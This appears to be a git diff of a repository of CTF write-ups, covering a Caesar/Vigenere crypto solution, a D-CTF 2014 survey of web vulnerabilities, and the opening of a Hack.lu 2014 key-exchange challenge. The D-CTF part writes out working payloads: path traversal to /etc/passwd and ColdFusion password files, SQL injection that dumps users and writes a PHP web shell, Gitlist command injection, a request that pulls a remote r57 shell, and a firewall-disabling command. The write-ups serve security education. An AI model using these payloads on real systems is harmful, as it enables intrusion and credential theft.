THIS TIME WE WILL GIVE YOU MORE PLAINTEXT TO WORK WITH YOU WILL PROBABLY FIND THAT HAVING EXTRA CONTENT THAT IS ASCII MAKES THIS ONE MORE SOLVABLE IT WOULD BE SOLVABLE WITHOUT THAT BUT WE WILL MAKE SURE TO GIVE LOTS OF TEXT JUST TO MAKE SURE THAT WE CAN HANDLE IT I WONDER HOW MUCH WILL BE REQUIRED LETS PUT THE MAGIC PHRASE FOR THE NEXT LEVEL IN THE MIDDLE RIGHT HERE NORMALWORD OK NOW MORE TEXT TO MAKE SURE THAT IT IS SOLVABLE I SHOULD PROBABLY JUST PUT IN SOME NURSERY RHYME OR SOMETHING MARY HADA LITTLE LAMB LITTLE LAMB LITTLE LAMB MARY HADA LITTLE LAMB WHOSE FLEEZE WAS WHITE AS SNOW I DONT WANT TO MAKE THIS HARDER THAN IT NEEDS TO BE IF YOU VE SOLVED A LOT OF SIMPLE CRYPTO CHALLENGES YOU PROBABLY ALREADY HAVE THE CODE AND WILL BREEZE RIGHT THROUGH IT IF IT HELPS MOST OF THE PLAINTEXT IS STATIC AT EACH OF THE LEVELS I M NOT A MASOCHIST THE FUNNY THING IS THAT DEPENDING ON WHICH RANDOMKEY YOU GET THAT POEM MIGHT BE EXACTLY THE RIGHT OFFSET TO SUCCESSFULLY MOUNT AN ATTACK WE LL SEE LITTLE BIT MORE LITTLE BIT MORE THERE,
|
||||||
|
```
|
||||||
|
Reading it carefully give us the last answer for the flag: **NORMALWORD**. Sweet!
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## Final Words
|
||||||
|
|
||||||
|
If you like this solution, take a look at my [exploit for this problem].
|
||||||
|
|
||||||
|
**Hack all the things!**
|
||||||
|
|
||||||
|
[his cryptographic scheme]: http://en.wikipedia.org/wiki/Caesar_cipher
|
||||||
|
[exploit for this problem]: https://github.com/go-outside-labs/CTFs-Gray-Hacker-and-PenTesting/tree/master/CTFs_and_WarGames/2014-CSAW-CTF/cryptography/crypto-200
|
||||||
|
[scripts from other authors]:https://github.com/go-outside-labs/CTFs-and-Hacking-Scripts-and-Tutorials/tree/master/2014-CSAW-CTF/cryptography/crypto-200/from_the_net
|
||||||
|
[well-known table of word frequency values]: http://en.wikipedia.org/wiki/Letter_frequency
|
||||||
|
[telnetlib]: https://docs.python.org/2/library/telnetlib.html
|
||||||
|
[socket]: https://docs.python.org/2/library/socket.html
|
||||||
|
[own netcat script]: https://github.com/go-outside-labs/CTFs-and-Hacking-Scripts-and-Tutorials/blob/master/Tutorials/Useful_Scripts/netcat.py
|
||||||
|
[pygenere]: http://smurfoncrack.com/pygenere/pygenere.php
|
||||||
|
[Vigenere Cipher]: http://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher
|
||||||
|
[online Vigenere cracker]: http://smurfoncrack.com/pygenere/
|
||||||
|
[dictionary (hash table)]: https://docs.python.org/2/tutorial/datastructures.html#dictionaries
|
||||||
|
[Counter() data-structure]: https://docs.python.org/2/library/collections.html#collections.Counter
|
||||||
|
[ord()]: https://docs.python.org/2/library/functions.html#ord
|
||||||
|
[module]: http://en.wikipedia.org/wiki/Modulo_operation
|
||||||
|
[Unicode]: http://en.wikipedia.org/wiki/Unicode
|
||||||
|
[encode()]: https://docs.python.org/2/library/stdtypes.html#str.encode
|
@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
|
||||||
__author__ = "bt3gl"
|
__author__ = "Mia Stein"
|
||||||
|
|
||||||
|
|
||||||
import string
|
import string
|
@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
|
||||||
__author__ = "bt3gl"
|
__author__ = "Mia Stein"
|
||||||
|
|
||||||
|
|
||||||
import sys
|
import sys
|
1012
CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/README.md
Normal file
1012
CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/README.md
Normal file
File diff suppressed because it is too large
Load Diff
@ -547,7 +547,7 @@ endobj
|
|||||||
|
|
||||||
|
|
||||||
[MySQL database dump file]:http://dev.mysql.com/doc/refman/5.0/en/mysqldump-sql-format.html
|
[MySQL database dump file]:http://dev.mysql.com/doc/refman/5.0/en/mysqldump-sql-format.html
|
||||||
[CSAW CTF 2014 Forensic -Obscurity]: https://gist.github.com/bt3gl/4574e99fe0f0dbdb56a9
|
[CSAW CTF 2014 Forensic -Obscurity]: https://gist.github.com/Mia-Stein/4574e99fe0f0dbdb56a9
|
||||||
[online hex-decode]: http://ddecode.com/hexdecoder/
|
[online hex-decode]: http://ddecode.com/hexdecoder/
|
||||||
[which we can just google]: http://phpxref.ftwr.co.uk/wordpress/wp-content/themes/twentythirteen/js/html5.js.source.html
|
[which we can just google]: http://phpxref.ftwr.co.uk/wordpress/wp-content/themes/twentythirteen/js/html5.js.source.html
|
||||||
[Tailing]: http://en.wikipedia.org/wiki/Tail_(Unix)
|
[Tailing]: http://en.wikipedia.org/wiki/Tail_(Unix)
|
@ -1,7 +1,6 @@
|
|||||||
#Networking-100: Big Data
|
# Networking-100: Big Data
|
||||||
|
|
||||||
|
|
||||||
This is the only networking problem, and it is only 100 points, so it turned out to be very easy.
|
|
||||||
|
|
||||||
The problem starts with the following text:
|
The problem starts with the following text:
|
||||||
|
|
@ -126,9 +126,7 @@ while True:
|
|||||||
# flag{trust_is_risky}
|
# flag{trust_is_risky}
|
||||||
```
|
```
|
||||||
|
|
||||||
Yaaay! The flag is **trust_is_risky**! Easy!
|
The flag is **trust_is_risky**! Easy!
|
||||||
|
|
||||||
**Hack all the things!**
|
|
||||||
|
|
||||||
|
|
||||||
[uncompyle2]: https://github.com/gstarnberger/uncompyle
|
[uncompyle2]: https://github.com/gstarnberger/uncompyle
|
381
CTFs_and_WarGames/CTFs_Writeups/DefCamp/README.md
Normal file
381
CTFs_and_WarGames/CTFs_Writeups/DefCamp/README.md
Normal file
@ -0,0 +1,381 @@
|
|||||||
|
# Exploring D-CTF Quals 2014's Exploits
|
||||||
|
|
||||||
|
## Vulnerabilities
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Remote File Inclusion and Local File Inclusion Vulnerabilities
|
||||||
|
|
||||||
|
In [Remote File Inclusion] (RFI) an attacker can load exploits to the server. An attacker can use RFI to run exploits in both server and client sides. PHP's [include()](http://php.net/manual/en/function.include.php) is extremely vulnerable to RFI attacks.
|
||||||
|
|
||||||
|
|
||||||
|
[Local File Inclusion](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion) (LFI) is similar to RFI but only files that are currently in the server can be included. This type of vulnerability is seemed in forms for file uploading (with improper sanitation).
|
||||||
|
|
||||||
|
An example of RFI exploitation is the case where the form only accepts some type of extensions (such as JPG or PNG) but the verification is made in the client side. In this case, an attacker can tamper the HTTP requests to send shellcode (with PHP extension, for example). I've shown examples of this attack in the [Natas post]. There I've explained that the trick was to rename a PHP shell code to one of these safe extensions.
|
||||||
|
|
||||||
|
|
||||||
|
[Remote File Inclusion]: http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### TimThumb and LFI
|
||||||
|
|
||||||
|
[TimThumb] is a PHP script for manipulating web images. It was recently [discontinued because of security issues].
|
||||||
|
|
||||||
|
With TimThumb 1.33, an attacker is able to upload a shell by appending it to an image. All she needs to do is to have it in some online subdomain. TimThumb will store this image in a cache folder and generate an MD5 of the full path of the shell. The last step is to perform an LFI attack with the shell in this folder. Check this [example of LFI exploitation](http://kaoticcreations.blogspot.com/2011/12/lfi-tip-how-to-read-source-code-using.html).
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
[TimThumb]: https://code.google.com/p/timthumb/
|
||||||
|
[discontinued because of security issues]:http://www.binarymoon.co.uk/2014/09/timthumb-end-life/
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### CMS Mini and RFI
|
||||||
|
|
||||||
|
|
||||||
|
[CMS Mini] is a file system to build simple websites. It has [several vulnerabilities] such as [CSRF], RFI, and [XSS].
|
||||||
|
|
||||||
|
[CSRF]: https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
|
||||||
|
[XSS]: https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
|
||||||
|
|
||||||
|
|
||||||
|
An example of RFI vulnerability in CMS Mini is explored using curl:
|
||||||
|
|
||||||
|
```http
|
||||||
|
http://
|
||||||
|
[target/IP]/cmsmini/admin/edit.php?path=&name=../../../../../etc/passwd
|
||||||
|
```
|
||||||
|
|
||||||
|
For more examples of exploits, check [1337day] and [this exploit-db].
|
||||||
|
|
||||||
|
[1337day]: http://1337day.com/exploit/3256
|
||||||
|
[several vulnerabilities]: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-2961
|
||||||
|
|
||||||
|
[this exploit-db]: http://www.exploit-db.com/exploits/28128/
|
||||||
|
[CMS Mini]: http://www.mini-print.com/
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### ApPHP and Remote Code Execution
|
||||||
|
|
||||||
|
[ApPHP](http://www.apphp.com/) is a blog script. It is known for having [several vulnerabilities], including [remote code execution] (RCE). An example of RCE exploit for ApPHP [can be seen here]. A good start is to check the PHP's [disable_function](http://php.net/manual/en/ini.core.php#ini.disable-functions) list for stuff to hacker the server.
|
||||||
|
|
||||||
|
[several vulnerabilities]: http://www.exploit-db.com/exploits/33030/
|
||||||
|
[remote code execution]: https://www.owasp.org/index.php/PHP_Top_5#P1:_Remote_Code_Execution
|
||||||
|
|
||||||
|
[can be seen here]: http://www.exploit-db.com/exploits/33070/
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
In this CTF, the challenge was to find what was not in that list. For instance, it was possible to use [$_POST](http://php.net/manual/en/reserved.variables.post.php) and [$_COOKIE](http://php.net/manual/en/reserved.variables.cookies.php) to send strings to functions such as [scandir()](http://php.net/manual/en/function.scandir.php) and [get_file_contents()](http://php.net/manual/en/function.file-get-contents.php):
|
||||||
|
|
||||||
|
```http
|
||||||
|
GET Request: ?asdf);print_r(scandir(implode($_COOKIE))=/
|
||||||
|
Cookie: 0=include
|
||||||
|
```
|
||||||
|
|
||||||
|
In addition, with a writable directory we can drop a shell in the server (you can use script-kiddies scripts like [r57 shell.net](http://www.r57shell.net/), but in real life, keep in mind that they are super uber [backdoored](http://thehackerblog.com/hacking-script-kiddies-r57-gen-tr-shells-are-backdoored-in-a-way-you-probably-wouldnt-guess/#more-447)).
|
||||||
|
|
||||||
|
```http
|
||||||
|
Post Request: 0=include/myfile.php
|
||||||
|
Cookie: 0=http://www.r57shell.net/shell/r57.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### Gitlist and Remote Command Execution
|
||||||
|
|
||||||
|
[Gitlist] is an application to browse GitHub repositories in a browser. The versions up to 5.0 are known for [allowing remote attackers to execute arbitrary commands via shell], a type of [command injection]. Exploits for this vulnerability can be seen at [hatriot], at [packet storm], at [1337day], and at [exploit-db].
|
||||||
|
|
||||||
|
In this CTF, the following command could be used to look for the flag:
|
||||||
|
|
||||||
|
```http
|
||||||
|
http://10.13.37.33/gitlist/redis/blame/unstable/README%22%22%60ls%20-al%60
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
[exploit-db]: http://www.exploit-db.com/exploits/33990/
|
||||||
|
[1337day]: http://en.1337day.com/exploit/22391
|
||||||
|
[packet storm]: http://packetstormsecurity.com/files/127364/Gitlist-Unauthenticated-Remote-Command-Execution.html
|
||||||
|
[hatriot]: http://hatriot.github.io/blog/2014/06/29/gitlist-rce/
|
||||||
|
[command injection]: http://cwe.mitre.org/data/definitions/77.html
|
||||||
|
[allowing remote attackers to execute arbitrary commands via shell]: http://www.websecuritywatch.com/arbitrary-command-execution-in-gitlist/
|
||||||
|
[Gitlist]: http://gitlist.org/
|
||||||
|
|
||||||
|
|
||||||
|
### LibreOffice's Socket Connections
|
||||||
|
|
||||||
|
LibreOffice's has a binary [soffice.bin] that takes socket connections on the *port 2002* (in this CTF, in the VPN's localhost).
|
||||||
|
|
||||||
|
For instance, the command [unoconv] can be used to convert a file to a LibreOffice supported format. The flag **-c** opens a connection by the client to connect to an LibreOffice instance. It also can be used by the listener to make LibreOffice listen.
|
||||||
|
|
||||||
|
From the documentation, the default connection string is:
|
||||||
|
|
||||||
|
```http
|
||||||
|
Default connection string is "socket,host=localhost,port=2002;urp;StarOffice.ComponentContext"
|
||||||
|
```
|
||||||
|
|
||||||
|
Therefore, you can connect to the socket and convert some document (such as */flag.txt*) to a PDF for example:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ unoconv --connection 'socket,host=127.0.0.1,port=2002;urp;StarOffice.ComponentContext' -f pdf /flag.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
An example of a payload can be seen [here].
|
||||||
|
|
||||||
|
|
||||||
|
[here]: https://github.com/ctfs/write-ups/tree/master/d-ctf-2014/web-400
|
||||||
|
[unoconv]: http://linux.die.net/man/1/unoconv
|
||||||
|
[LibreOffice]: http://www.libreoffice.org/
|
||||||
|
[soffice.bin]: http://www.processlibrary.com/en/directory/files/soffice/66728/
|
||||||
|
|
||||||
|
### ColdFusion and Local File Disclosure
|
||||||
|
|
||||||
|
[ColdFusion] is an old web application development platform. It carries its own (interpreted) language, **CFM**, with a Java backend.
|
||||||
|
|
||||||
|
CFM has scripting features like ASP and PHP, and syntax resembling HTML and JavaScript. ColdFusion scripts have **cfm** and **cfc** file extension. For instance, [Adobe ColdFusion 11] and [Railio 4.2], the two platform accepting CFM, were both released in the beginning of 2014.
|
||||||
|
|
||||||
|
The problem is that CFM is [vulnerable to a variety of attacks], including [Local File Disclosure](https://www.owasp.org/index.php/Full_Path_Disclosure) (LFD) and SQL injection (SQLi). Adding this to the fact that ColdFusion scripts usually run on elevated privileged users, we have a very vulnerable platform.
|
||||||
|
|
||||||
|
[Railio 4.2]: http://www.getrailo.org/
|
||||||
|
[ColdFusion]: http://en.wikipedia.org/wiki/Adobe_ColdFusion
|
||||||
|
[Adobe ColdFusion 11]: http://www.adobe.com/products/coldfusion-family.html
|
||||||
|
|
||||||
|
|
||||||
|
#### SQL Injection (SQLi)
|
||||||
|
|
||||||
|
|
||||||
|
[SQL Injection](https://www.owasp.org/index.php/SQL_Injection) is a classic attack where one injects exploits in a [SQL query](http://technet.microsoft.com/en-us/library/bb264565(v=sql.90).aspx). Vulnerabilities of this type can be spotted in queries such as **index.php?id=1**. I showed some of these exploits in my [Natas post].
|
||||||
|
|
||||||
|
In this CTF, these were some of the exploits that could be used:
|
||||||
|
|
||||||
|
* List everything in a database, where **0x3a** is the hexadecimal symbol for **:**:
|
||||||
|
```sql
|
||||||
|
UNION ALL SELECT 1,concat(username,0x3a,password,0x3a,email),3 FROM cms.users--
|
||||||
|
```
|
||||||
|
|
||||||
|
* See the password file content:
|
||||||
|
```sql
|
||||||
|
UNION ALL SELECT 1,LOAD_FILE("/etc/passwd"),3--
|
||||||
|
```
|
||||||
|
|
||||||
|
* Write files and create a PHP shell into **URL/shell.php**, we can use a parameter **x** to takes a parameter to be executed (based on [this]):
|
||||||
|
|
||||||
|
```
|
||||||
|
UNION ALL SELECT 1 "<?php header("Content-Type: text/plain;charset=utf-8"); echo system($-GET["x"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php"--
|
||||||
|
```
|
||||||
|
|
||||||
|
Notice the *trailing pair of hyphens* **--** which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed (it removes the trailing single-quote left over from the modified query). To learn more about how to mitigate SQLi, I recommend [OWASP's SQLi Prevention Cheat Sheet](https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
|
||||||
|
) and [this nice guide for SQLi mitigation](http://owtf.github.io/boilerplate-templates/SQLinjection.html) by OWSAP OWTF.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
By the way, it's useful in general to know [HTML URL Encoding] to craft these URLs.
|
||||||
|
|
||||||
|
[this]: https://github.com/ctfs/write-ups/tree/master/d-ctf-2014/web-400
|
||||||
|
[HTML URL Encoding]: http://www.w3schools.com/tags/ref_urlencode.asp
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### CesarFTP 0.99g and Buffer Overflow
|
||||||
|
|
||||||
|
[CesarFTP 0.99g](http://www.softpedia.com/get/Internet/Servers/FTP-Servers/Cesar-FTP.shtml) is an easy-to-use FTP server. It is also known for having several vulnerabilities, including [buffer overflow](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2961).
|
||||||
|
|
||||||
|
For example, see this exploit for **Metasploit** from [exploit-db](http://www.exploit-db.com/exploits/16713/) (or [an older one here](http://www.exploit-db.com/exploits/1906/)).
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#### File Disclosure of Password Hashes
|
||||||
|
|
||||||
|
This vulnerability provides a 30-second window in the Administration panel, which can e use to write a shellcode. The main idea is a [directory traversal] to the **password.proprieties** that can be used to login in the server.
|
||||||
|
|
||||||
|
Ingredients of this attack are:
|
||||||
|
|
||||||
|
* The target must have ColdFusion administrator available, which is by default mapped to ***CFIDE/administrator/enter.cfm***. If it gets [500], it should be switched to HTTPS.
|
||||||
|
|
||||||
|
* At the ColdFusion administrator, verify the version, and then use these injections:
|
||||||
|
|
||||||
|
```
|
||||||
|
(Version 6): http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX\lib\password.properties%00en
|
||||||
|
|
||||||
|
(Version 7): http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX7\lib\password.properties%00en
|
||||||
|
|
||||||
|
(Version 8): http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00en
|
||||||
|
|
||||||
|
(All versions): http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en
|
||||||
|
```
|
||||||
|
|
||||||
|
* Now a shell can be written to a file and added in **Schedule New Task**. See detailed instructions at [blackhatlib], at [infointox], at [gnucitizen], at [kaoticcreations], at [cyberguerilla], at [jumpespjump], and at [hexale].
|
||||||
|
|
||||||
|
|
||||||
|
[jumpespjump]: http://jumpespjump.blogspot.com/2014/03/attacking-adobe-coldfusion.html
|
||||||
|
[kaoticcreations]: http://kaoticcreations.blogspot.com/2012/11/hacking-cold-fusion-servers-part-i.html
|
||||||
|
[cyberguerilla]: https://www.cyberguerrilla.org/blog/?p=18275
|
||||||
|
[vulnerable to a variety of attacks]: http://www.intelligentexploit.com/view-details.html?id=12750
|
||||||
|
[gnucitizen]: http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/
|
||||||
|
[hexale]: http://hexale.blogspot.com/2008/07/how-to-decrypt-coldfusion-datasource.html
|
||||||
|
[infointox]: http://www.infointox.net/?p=59
|
||||||
|
[directory traversal]: https://www.owasp.org/index.php/Path_Traversal
|
||||||
|
[500]: http://en.wikipedia.org/wiki/List_of_HTTP_status_codes
|
||||||
|
[blackhatlib]: http://www.blackhatlibrary.net/Coldfusion_hacking
|
||||||
|
|
||||||
|
----
|
||||||
|
|
||||||
|
|
||||||
|
## Useful Tools
|
||||||
|
|
||||||
|
|
||||||
|
### Vulnerability Scanners
|
||||||
|
|
||||||
|
Vulnerability scanners can be useful for several problems. For instance, for a PHP static source code analyzer, we can use [RIPS](http://rips-scanner.sourceforge.net/).
|
||||||
|
|
||||||
|
In this CTF we had to scan for [Heartbleed](http://en.wikipedia.org/wiki/Heartbleed), and we used [this script](https://gist.githubusercontent.com/eelsivart/10174134/raw/5c4306a11fadeba9d9f9385cdda689754ca4d362/heartbleed.py).
|
||||||
|
|
||||||
|
### Scapy
|
||||||
|
|
||||||
|
[Scapy](http://packetlife.net/blog/2011/may/23/introduction-scapy/) is a Python lib for crafting packets. It can be useful for problems such as [port knocking](http://en.wikipedia.org/wiki/Port_knocking). For illustration, check this [example from PHD CTF 2011](http://eindbazen.net/2011/12/phd-ctf-quals-2011-%E2%80%93-port-knocking/) and this from [ASIS CTF 2014](http://blog.dul.ac/2014/05/ASISCTF14/). Check [this project](https://code.google.com/p/pypk/source/browse/branches/release-0.1.0/knocker.py?r=3) too.
|
||||||
|
|
||||||
|
|
||||||
|
### Steganography
|
||||||
|
|
||||||
|
One of the questions had a reference to the [paranoia.jar] tool, which hides text in an image file using [128 bit AES](http://en.wikipedia.org/wiki/Advanced_Encryption_Standard) encryption.
|
||||||
|
|
||||||
|
To run the tool (after downloading it) just do:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
java -jar paranoia.jar
|
||||||
|
```
|
||||||
|
|
||||||
|
[paranoia.jar]: https://ccrma.stanford.edu/~eberdahl/Projects/Paranoia/
|
||||||
|
|
||||||
|
### HTTP/HTTPS Request Tampering
|
||||||
|
|
||||||
|
Very useful for the RFI problems (but not limited to them):
|
||||||
|
|
||||||
|
* [Tamper Data]: view and modify HTTP/HTTPS headers.
|
||||||
|
* [Burp]: a Java application to secure or penetrate web applications.
|
||||||
|
|
||||||
|
|
||||||
|
[Burp]: http://portswigger.net/burp/
|
||||||
|
[Tamper Data]: https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
|
||||||
|
|
||||||
|
|
||||||
|
### Wireshark
|
||||||
|
|
||||||
|
At some point I'm going to dedicate an entire post for [Wireshark](https://www.wireshark.org/), but for this CTF the important things to know were:
|
||||||
|
|
||||||
|
* Look for POST requests:
|
||||||
|
```
|
||||||
|
http.request.method == "POST"
|
||||||
|
```
|
||||||
|
* Submit the found data (same username, nonce, and password) with the command:
|
||||||
|
```
|
||||||
|
$ curl --data 'user=manager&nonce=7413734ab666ce02cf27c9862c96a8e7&pass=3ecd6317a873b18e7dde351ac094ee3b' HOST
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### [Exif] data extractor:
|
||||||
|
|
||||||
|
[ExifTool] is used for reading, writing, and manipulating image metadata:
|
||||||
|
```sh
|
||||||
|
$ tar -xf Image-ExifTool-9.74.tar.gz
|
||||||
|
$ cd Image-ExifTool-9.74/
|
||||||
|
$ perl Makefile.PL
|
||||||
|
$ make test
|
||||||
|
$ sudo make install
|
||||||
|
$ exiftool IMAGEFILE
|
||||||
|
```
|
||||||
|
|
||||||
|
### MD5 Lookups
|
||||||
|
|
||||||
|
Several hashes in this CTF needed to be searched. Google, in general, does a good job, but here are some specific websites: [hash-killer] and [md5this].
|
||||||
|
|
||||||
|
|
||||||
|
[hash-killer]: http://hash-killer.com/
|
||||||
|
[md5this]: http://www.md5this.com/
|
||||||
|
|
||||||
|
|
||||||
|
### In the Shell
|
||||||
|
|
||||||
|
* **Hexadecimal decoders** are essential. You can use Python's [hex](https://docs.python.org/2/library/functions.html#hex):
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ python -c 'print "2f722f6e6574736563".decode("hex")'
|
||||||
|
/r/netsec
|
||||||
|
```
|
||||||
|
|
||||||
|
or command line [xxd]:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ yum install vim-common
|
||||||
|
$ xxd -r -p <<< 2f722f6e6574736563
|
||||||
|
/r/netsec
|
||||||
|
```
|
||||||
|
|
||||||
|
* **Base64 decoders** are also essential:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ base64 --decode <<< BASE64STRING > OUTPUT
|
||||||
|
```
|
||||||
|
|
||||||
|
* **nmap**, obviously. You can use it in Python scripts, using the [subprocess](https://docs.python.org/2/library/subprocess.html) library:
|
||||||
|
```python
|
||||||
|
print "[*] Scanning for open ports using nmap"
|
||||||
|
subprocess.call("nmap -sS -sV -T4 -p 22-2048 " + base_URL, shell=True)
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
* **tee** is nice to store and view the output of another command. It can be very useful with *curl*. A simple example:
|
||||||
|
```sh
|
||||||
|
$ ls | tee file
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
* **chattr** is used to change the file attributes of a Linux file system. For example, the command ```chattr +i``` on a file make it not be able to be removed (useful for *zombie* processes hunting).
|
||||||
|
|
||||||
|
* **nm** is useful for listing symbols from object files
|
||||||
|
|
||||||
|
|
||||||
|
* **md5 hashing** is used all the time:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ echo -n password | md5sum
|
||||||
|
5f4dcc3b5aa765d61d8327deb882cf99
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
* You might want to **append a shell code to an image** (for example, a GIF file):
|
||||||
|
```sh
|
||||||
|
$ cat PHP-shell.php >> fig.gif
|
||||||
|
```
|
||||||
|
|
||||||
|
* Now a special one: Windows! One of the trivia questions in this CTF. How to disable the Windows XP Firewall from the command line:
|
||||||
|
```sh
|
||||||
|
netsh firewall set opmode mode=DISABLE.
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
[tcpdump]: http://linux.die.net/man/8/tcpdump
|
||||||
|
[ExifTool]: http://www.sno.phy.queensu.ca/~phil/exiftool/index.html
|
||||||
|
[Exif]: http://en.wikipedia.org/wiki/Exchangeable_image_file_format
|
||||||
|
[writeups]: https://github.com/ctfs/write-ups/tree/master/d-ctf-2014/misc-100
|
||||||
|
[xxd]: http://linuxcommand.org/man_pages/xxd1.html
|
||||||
|
[Natas post]: http://https://singularity-sh.vercel.app/exploiting-the-web-in-20-lessons-natas.html
|
257
CTFs_and_WarGames/CTFs_Writeups/Hack.lu/README.md
Normal file
257
CTFs_and_WarGames/CTFs_Writeups/Hack.lu/README.md
Normal file
@ -0,0 +1,257 @@
|
|||||||
|
# The Peace Pipe at Hack.lu's Final CTF 2014
|
||||||
|
|
||||||
|
|
||||||
|
## Understanding the Problem
|
||||||
|
|
||||||
|
The problem starts with this weird story:
|
||||||
|
|
||||||
|
After a long day, you sit around a campfire in the wild wild web with a few Sioux you met today.
|
||||||
|
To celebrate friendship one of them takes out his wooden peace pipe and minutes later everyone seems to be pretty dizzy.
|
||||||
|
You remember that their war chief "Makawee" started something to say about a secret tipi filled with fire-water (the good stuff). But when he noticed your interest he immediately stopped talking.
|
||||||
|
You recall that "Makawee" spoke with "Wahkoowah" about that issue, but it ended with a fight.
|
||||||
|
Since then Makawee wouldn't talk to Wahkoowah anymore. While they argued "Chapawee" wrote something down.
|
||||||
|
Maybe you can exploit their dizzyness to find out the location of the tipi.
|
||||||
|
|
||||||
|
Then it gives us three *ports* in the *host*. With the first one, we talk to **Chapawee**:
|
||||||
|
|
||||||
|
wildwildweb.fluxfingers.net 1432
|
||||||
|
|
||||||
|
With the second, we talk to **Wankoowah**:
|
||||||
|
|
||||||
|
wildwildweb.fluxfingers.net 1433
|
||||||
|
|
||||||
|
|
||||||
|
Finally, with the third, we talk to **Makawee**:
|
||||||
|
|
||||||
|
wildwildweb.fluxfingers.net 1434
|
||||||
|
|
||||||
|
It was obvious that this game was about fooling our fellow *stoned* native-Americans.
|
||||||
|
|
||||||
|
### A Dialogue with Chapawee
|
||||||
|
|
||||||
|
When we *netcat* to **Chapawee** he answers:
|
||||||
|
```sh
|
||||||
|
$ nc wildwildweb.fluxfingers.net 1432
|
||||||
|
Hi I'm Chapawee. I know the truth about the stars
|
||||||
|
Say stars for more
|
||||||
|
```
|
||||||
|
|
||||||
|
We answer *stars* and get a funny menu:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
I can tell you the truth about
|
||||||
|
* constellation
|
||||||
|
* namestar [starname] [key_of_truth] Adds a public key to a user.
|
||||||
|
Existing users cannot be
|
||||||
|
overwritten. Input is
|
||||||
|
[a-f0-9]{1,700}.
|
||||||
|
* showstar [starname] Reads the public key from the
|
||||||
|
database.
|
||||||
|
```
|
||||||
|
|
||||||
|
The first option *constellation*, shows a very interesting scheme:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
Choosing the options **namestar** we are able to pick a (new) name to add a key. Picking the option **showstar** we are able to see the key for some name (for example, for Wahkoowar, Makawee, or any new name we had added before).
|
||||||
|
|
||||||
|
So, from the above scheme, we know:
|
||||||
|
|
||||||
|
1. How a **message** (t) is created with someone's public key, a **random rational number** (r_w), and a given **modulo number** (p). The only unknown here is r_w, which is a rational number (Q). This mean that any plans to brute force the messages wouldn't work (however, if r_w was an integer, this task could be achieved).
|
||||||
|
|
||||||
|
2. Everyone has a private key that is modulo p. We never learn anything about anyone's private keys. We just know that they could be of the order of p (which is a really large number, ~1E2048).
|
||||||
|
|
||||||
|
3. Wahkoowah and Makawee have a shared secret key. The way they share this key without knowing each other's private key is by this tricky transformation:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
Notice that we can move the multiplications' modulo operation to the end, due to [this propriety](http://en.wikipedia.org/wiki/Modular_arithmetic#Congruence_relation).
|
||||||
|
|
||||||
|
|
||||||
|
In conclusion, all we need to do is to convince Wahkoowah that we are Makawee (by telling him we are Makawee, so he can use his public key, and by sending him a correct *t_m*). If this works, he will give us a token. Then, if we send this token to Makawee, we get our flag.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### A Dialogue with Wankoowah
|
||||||
|
|
||||||
|
Now, let's see what Wankoowah has to say:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ nc wildwildweb.fluxfingers.net 1433
|
||||||
|
Hi, I'm Wahkoowah. Who are you? Too foggy...
